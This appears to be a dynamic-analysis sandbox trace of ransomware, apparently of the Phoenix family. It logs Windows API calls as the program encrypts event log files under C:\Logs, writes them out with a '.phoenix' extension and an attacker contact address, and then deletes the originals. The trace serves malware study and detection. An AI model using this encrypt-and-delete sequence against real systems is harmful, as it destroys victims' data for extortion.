	[0214.199] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0214.199] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0214.199] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=69632) returned 1
	[0214.199] CloseHandle (hObject=0x548) returned 1
	[0214.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20
	[0214.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.199] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0214.199] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa58 | out: lpNewFilePointer=0x0) returned 1
	[0214.199] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa58 | out: lpNewFilePointer=0x0) returned 1
	[0214.200] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0214.200] CryptImportKey (in: hProv=0x616790, pbData=0x3d1fa10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3d1fa6c | out: phKey=0x3d1fa6c*=0x645d38) returned 1
	[0214.200] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0x3d1fb18, dwFlags=0x0) returned 1
	[0214.200] ReadFile (in: hFile=0x548, lpBuffer=0x40e4020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3d1fa94, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesRead=0x3d1fa94*=0x11000, lpOverlapped=0x0) returned 1
	[0214.220] CryptEncrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x11010, dwBufLen=0x11010 | out: pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x11010) returned 1
	[0214.220] WriteFile (in: hFile=0x524, lpBuffer=0x40e4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3d1fa78, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesWritten=0x3d1fa78*=0x11010, lpOverlapped=0x0) returned 1
	[0214.222] CryptImportKey (in: hProv=0x616790, pbData=0x3d1fa04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3d1fa70 | out: phKey=0x3d1fa70*=0x665258) returned 1
	[0214.222] CryptSetKeyParam (hKey=0x665258, dwParam=0x1, pbData=0x3d1fb18, dwFlags=0x0) returned 1
	[0214.222] CryptEncrypt (in: hKey=0x665258, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x80, dwBufLen=0x80 | out: pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x80) returned 1
	[0214.222] CryptDestroyKey (hKey=0x665258) returned 1
	[0214.222] WriteFile (in: hFile=0x524, lpBuffer=0x40e4020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x3d1fa78, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesWritten=0x3d1fa78*=0x132, lpOverlapped=0x0) returned 1
	[0214.222] CryptDestroyKey (hKey=0x645d38) returned 1
	[0214.222] CloseHandle (hObject=0x548) returned 1
	[0214.222] CloseHandle (hObject=0x524) returned 1
	[0214.224] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1
	[0214.225] CryptGenRandom (in: hProv=0x616790, dwLen=0x10, pbBuffer=0x3d1fb18 | out: pbBuffer=0x3d1fb18) returned 1
	[0214.225] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0214.226] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3d1fab8 | out: lpFileSize=0x3d1fab8*=1052672) returned 1
	[0214.226] CloseHandle (hObject=0x524) returned 1
	[0214.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20
	[0214.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0214.226] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0214.226] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa58 | out: lpNewFilePointer=0x0) returned 1
	[0214.227] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d1fa58 | out: lpNewFilePointer=0x0) returned 1
	[0214.227] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0214.227] CryptImportKey (in: hProv=0x616790, pbData=0x3d1fa10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3d1fa6c | out: phKey=0x3d1fa6c*=0x665518) returned 1
	[0214.227] CryptSetKeyParam (hKey=0x665518, dwParam=0x1, pbData=0x3d1fb18, dwFlags=0x0) returned 1
	[0214.227] ReadFile (in: hFile=0x524, lpBuffer=0x40e4020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3d1fa94, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesRead=0x3d1fa94*=0x101000, lpOverlapped=0x0) returned 1
	[0214.437] CryptEncrypt (in: hKey=0x665518, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x101010, dwBufLen=0x101010 | out: pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0x101010) returned 1
	[0214.438] WriteFile (in: hFile=0x548, lpBuffer=0x40e4020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x3d1fa78, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesWritten=0x3d1fa78*=0x101010, lpOverlapped=0x0) returned 1
	[0214.463] CryptImportKey (in: hProv=0x616790, pbData=0x3d1fa04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3d1fa70 | out: phKey=0x3d1fa70*=0x665598) returned 1
	[0214.463] CryptSetKeyParam (hKey=0x665598, dwParam=0x1, pbData=0x3d1fb18, dwFlags=0x0) returned 1
	[0214.463] CryptEncrypt (in: hKey=0x665598, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0xb0, dwBufLen=0xb0 | out: pbData=0x40e4020*, pdwDataLen=0x3d1fa30*=0xb0) returned 1
	[0214.463] CryptDestroyKey (hKey=0x665598) returned 1
	[0214.463] WriteFile (in: hFile=0x548, lpBuffer=0x40e4020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x3d1fa78, lpOverlapped=0x0 | out: lpBuffer=0x40e4020*, lpNumberOfBytesWritten=0x3d1fa78*=0x162, lpOverlapped=0x0) returned 1
	[0214.463] CryptDestroyKey (hKey=0x665518) returned 1
	[0214.463] CloseHandle (hObject=0x524) returned 1
	[0214.463] CloseHandle (hObject=0x548) returned 1
	[0214.571] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1
	[0214.572] CryptImportKey (in: hProv=0x616790, pbData=0x3d1fa60, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3d1fac8 | out: phKey=0x3d1fac8*=0x645b78) returned 1
	[0214.572] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0x3d1fab0, dwFlags=0x0) returned 1
	[0214.572] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0x3d1fa7c | out: pbData=0xd21470, pdwDataLen=0x3d1fa7c) returned 1
	[0214.573] CryptDestroyKey (hKey=0x645b78) returned 1
	[0214.573] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0214.573] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x74af6b50
	[0214.573] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1
	[0214.573] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0214.573] SetEvent (hEvent=0x4f0) returned 1
	[0214.573] SetEvent (hEvent=0x3a0) returned 1
	[0214.573] SetEvent (hEvent=0x4f4) returned 1

Thread:
	id = 81
	os_tid = 0xd40

	[0212.637] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x35540a8
	[0212.638] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x35640b0
	[0212.638] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x28) returned 0xd21500
	[0212.638] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x110102) returned 0x420e020
	[0212.642] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x50) returned 0xd295e0
	[0212.642] CryptImportKey (in: hProv=0x616790, pbData=0x3e5f718, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e5f780 | out: phKey=0x3e5f780*=0x645a38) returned 1
	[0212.642] CryptSetKeyParam (hKey=0x645a38, dwParam=0x1, pbData=0x3e5f768, dwFlags=0x0) returned 1
	[0212.642] CryptDecrypt (in: hKey=0x645a38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd295e0, pdwDataLen=0x3e5f734 | out: pbData=0xd295e0, pdwDataLen=0x3e5f734) returned 1
	[0212.642] CryptDestroyKey (hKey=0x645a38) returned 1
	[0212.642] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0212.642] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74af6b30
	[0212.643] Wow64DisableWow64FsRedirection (in: OldValue=0x3e5f7cc | out: OldValue=0x3e5f7cc*=0x0) returned 1
	[0212.643] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd295e0 | out: hHeap=0xd20000) returned 1
	[0212.643] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.643] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.643] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.643] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.643] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.643] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.643] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.643] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.643] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.644] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.644] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.644] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.644] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.644] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.644] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.644] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.644] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.644] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.644] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.645] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.645] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.645] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.645] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.645] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.645] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.645] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.645] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.645] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.645] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.646] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.646] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.646] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.646] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.646] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.646] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.646] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.646] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.646] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.646] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.647] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.647] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.647] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.647] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.647] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.647] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.647] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.647] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.647] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.647] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.648] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.648] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.648] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.648] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.648] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.648] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.648] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.648] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.648] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.648] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.649] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.649] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.649] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.649] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.649] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.649] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.649] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.649] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.649] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.649] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.650] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.650] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.650] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.650] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.650] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.650] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.651] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.651] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.651] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.651] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.651] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.651] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.651] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.651] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.651] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.651] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.652] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.652] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.652] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.652] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.652] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.652] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.652] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.652] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.652] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.652] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.653] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.653] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.653] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.653] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.653] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.653] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.653] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.653] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.653] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.654] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.654] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.654] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.654] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.654] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.654] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.654] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.654] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.654] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.654] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.655] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.655] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.655] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.655] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.655] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.655] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.655] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.655] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.655] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.655] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.656] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.656] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.656] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.656] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.656] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.656] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.656] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.656] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.656] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.657] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.657] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.657] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.657] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.657] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.657] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.657] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.657] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.657] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.657] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.658] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.658] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.658] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.658] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.658] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.658] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.658] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.658] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.658] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.658] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.659] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.659] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.659] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.659] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.659] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.659] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.659] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.659] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.659] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
